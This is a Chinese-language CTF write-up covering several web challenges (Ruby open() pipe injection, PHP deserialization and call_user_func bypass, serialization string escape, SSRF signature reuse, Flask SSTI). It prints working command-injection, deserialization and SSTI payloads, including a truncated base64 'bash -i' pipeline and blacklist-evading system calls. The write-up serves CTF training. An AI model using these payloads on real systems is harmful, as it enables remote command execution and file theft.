[第五空间 2021]PNG图片转换器
有源码,ruby写的,不是常见的语言首先联想cve,先看源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| require 'sinatra' require 'digest' require 'base64'
get '/' do open("./view/index.html", 'r').read() end
get '/upload' do open("./view/upload.html", 'r').read() end
post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end
end
get '/convert' do open("./view/convert.html", 'r').read() end
post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end
file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
|
做了两个功能点,upload和convert。审计下来限制的很死,唯一利用点就是open这比较可疑,考虑cve,ruby结合open果然有cve。
参考CVE-2017-17405
https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/middleware/Ruby-NetFTP-%E6%A8%A1%E5%9D%97%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-CVE-2017-17405.md
原理:
Ruby-Net::FTP 模块是一个FTP客户端,上传文件过程中使用了open函数。open函数在ruby中是借用系统命令来打开文件,意味着如果没有做过滤,我们能利用这个点来执行命令。
payload:
如果+path+以一个管道字符(|
)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取。
1 2 3
| file=|bash -c env #.png file=|`echo ZW52|base64 -d` > e7e7eed2fbf6094265aebdf5344bfb8c.png file=|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'
|
[网鼎杯 2018]Fakebook 1
进去没找到什么利用点,dirsearch扫描,有robots.txt 访问得到user.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php class UserInfo { public $name = ""; public $age = 0; public $blog = "";
public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; }
function get($url) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch);
return $output; }
public function getBlogContents () { return $this->get($this->blog); }
public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
}
|
[网鼎杯 2020 朱雀组]phpweb 1
进去就是一张贴脸大图 随便抓包看到参数 随便输发现 call_user_fun这个超明显的php函数

首先使用file_get_contents结合伪协议读取源码
(读源码不止一个方法 还有fun=highlight_file&p=index.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"];
if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
|
这里有两个方法:
方法1:unserilize反序列化
__destruc__魔术方法当类被销毁会自动触发
1 2 3 4 5 6 7 8
| <?php class Test { var $p = "find / -name flag*"; var $func = "system"; } $a = new Test; echo serialize($a); ?>
|

看到可疑路径 /tmp/flagoefiu4r93
1 2 3 4 5 6 7 8
| <?php class Test { var $p = "cat /tmp/flagoefiu4r93"; var $func = "system"; } $a = new Test; echo serialize($a); ?>
|
得道flag
方法2:命名空间方法
原理
在php中,函数加上\号不会影响函数本身,因为in_array函数过滤不够严谨,所以我们可以利用加上\号来绕过。
func=\system&p=find / -name fllag*

然后正常执行命令就行
[安洵杯 2019]easy_serialize_php 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
代码理解
理解代码在干什么很重要,审计代码的能力很重要。
这段php代码首先定义了一个名为filter函数,它会把传入的变量的值如果在它定义的数组里,就会把符合条件的字符串替换为空。
然后使用了变量覆盖里常用的函数extract来使我们$_SESSION["user"]
和$_SESSION['function']
通过POST可控。
然后if判断是否传入img_path,没传入就是设置为guest_image.png,传入的话就会使用一个不可逆的sha1算法,所以我们肯定不考虑这个。
下一步是定义变量serialize_info为经过filter函数操作后的序列化后的数据。
再下来是if选择function功能 highlight_file是查看源码,phpinfo是查看phpinfo,show_image是做了一个反序列化操作,并且使用了一个敏感函数,file_get_contens。
题目做法:反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸
flag路径在phpinfo功能点就能看到 为/d0g3_fllllllag
方法1:键值逃逸
代码审计完了,有反序列化又有替换的操作,很容易联想到字符串逃逸。这里只有user和function可控。为了好理解我们先看序列化后的数据长什么样子。
1 2 3 4 5 6 7
| <?php $_SESSION["user"] = '*'; $_SESSION['function'] = '**'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION); ?>
|
因为要让guest_img.png逃逸出去,所以我们应该修改user,让user经过字符串替换,function这个变量及其值成为user的值,img变量变为我们想要的值哦。
function应该为值为;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
fileter处理前:
a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
1 2 3 4 5 6
| <?php $_SESSION["user"] = 'phpphpphpflagphpphpphp'; $_SESSION['function'] = ';s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION); ?>
|
filter处理后:
a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
于是function的值为img为L2QwZzNfZmxsbGxsbGFn
,后面那一串就成功修改img值为flag的路径。

方法2:键名逃逸
1
| _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
|
过滤前 a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸
payload:_SESSION[flagphp]=;s:1:”1”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
[De1CTF 2019]SSRF Me 1
进去贴脸源码,python代码审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
|
from flask import Flask, request import socket import hashlib import urllib import sys import os import json
reload(sys) sys.setdefaultencoding('latin1')
app = Flask(__name__) secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox)
def Exec(self): result = {} result['code'] = 500 if self.checkSign(): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print (resp) tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
def checkSign(self): return getSign(self.action, self.param) == self.sign
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
@app.route('/') def index(): return open("code.txt", "r").read()
def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True return False
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0', port=80)
|
1 2 3 4
| 三个路由: / 查看源代码 /geneSign 生成签名 /De1ta 关键路由 可以进行读取文件
|
解题思路
(除了这个方法还可以使用hash拓展攻击)
密钥是不变的。而action定死为scan了 可变的只有中间的param
那么md5(密钥+flag.txtread+scan)等于md5(密钥+flag.txt+readscan)

这步的cookie请自己添加


[GYCTF2020]FlaskApp
进去是base64解密和加密功能 看到flask先条件反射ssti 输入49得到编码 输入解码器得到回显

继续测试 e3tjb25maWd9fQ== 得到回显 被HTML 实体转义 丢给ai恢复下就ok
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <Config { 'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 's_e_c_r_e_t_k_e_y', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None }>
|
成功SSTI 正常打ssti就好
黑名单 ['import','os','popen','eval','*','?']
payload:{{((lipsum.__globals__.__builtins__['__i''mport__']('o''s'))['p''open']("\x63\x61\x74\x20\x2f\x2a")).read()}}